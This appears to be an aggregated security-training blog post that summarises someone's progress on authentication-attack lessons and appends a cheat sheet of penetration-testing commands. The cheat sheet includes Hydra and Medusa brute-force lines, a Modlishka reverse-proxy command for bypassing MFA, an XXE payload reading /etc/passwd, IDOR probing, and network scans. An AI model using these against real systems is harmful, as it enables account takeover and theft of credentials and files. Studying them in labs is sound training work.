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👉 What Todd Mattran Worked On Today:
✅ Attacking Authentication – Intro
✅ Attacking Authentication – Brute Force
✅ Attacking Authentication – MFA
✅ Attacking Authentication – Challenge Walkthrough
These challenges were fun! BurpSuite definitely had a workout on these challenges!
🎆 Next Up:
- XXE – External Entities Injection
- IDOR – Insecure Direct Object Reference
You Should Know:
Here are some practical commands and techniques related to Attacking Authentication that you can practice:
1. Brute Force Attacks with Hydra:
Hydra is a popular tool for brute-forcing authentication. Below is an example command for brute-forcing a login page:
hydra -l admin -P /path/to/passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
2. BurpSuite for Authentication Testing:
- Use BurpSuite’s Intruder module to automate brute force or credential stuffing attacks.
- Configure the payload positions and payload sets to test multiple username/password combinations.
3. Multi-Factor Authentication (MFA) Bypass:
- Use tools like Modlishka for reverse proxy attacks to bypass MFA:
./modlishka -proxyAddress :8080 -targetDomain target.com -credParams login,password
4. Challenge Walkthroughs:
- Practice with platforms like Hack The Box or TryHackMe to simulate real-world authentication attacks.
- Example command for scanning a target:
nmap -sV -p 80,443 target-ip
5. XXE Injection:
- Use the following payload to test for XXE vulnerabilities:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
6. IDOR Testing:
- Manually test for IDOR by manipulating object references in URLs or API requests:
curl -X GET http://target-api.com/user/1234
Change `1234` to another user ID to check for insecure direct object references.
What Undercode Say:
Authentication attacks are a critical part of penetration testing and cybersecurity. Tools like Hydra, BurpSuite, and Modlishka are essential for testing the robustness of authentication mechanisms. Always practice in a controlled environment, such as Hack The Box or TryHackMe, to refine your skills.
Here are some additional Linux and Windows commands to enhance your cybersecurity toolkit:
Linux Commands:
- Nmap for Service Discovery:
nmap -sV -p- target-ip
- Netcat for Port Scanning:
nc -zv target-ip 1-1000
- SSH Bruteforce with Medusa:
medusa -h target-ip -u admin -P /path/to/passwords.txt -M ssh
Windows Commands:
- Ping Sweep:
for /L %i in (1,1,255) do @ping -n 1 -w 100 192.168.1.%i | find "Reply"
- Netstat for Open Ports:
netstat -an
- PowerShell for HTTP Requests:
Invoke-WebRequest -Uri http://target.com/login -Method POST -Body @{username='admin';password='password'}
Keep practicing and stay updated with the latest tools and techniques to stay ahead in the cybersecurity game!
Relevant URLs for Further Learning:
References:
Reported By: Todd Mattran – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
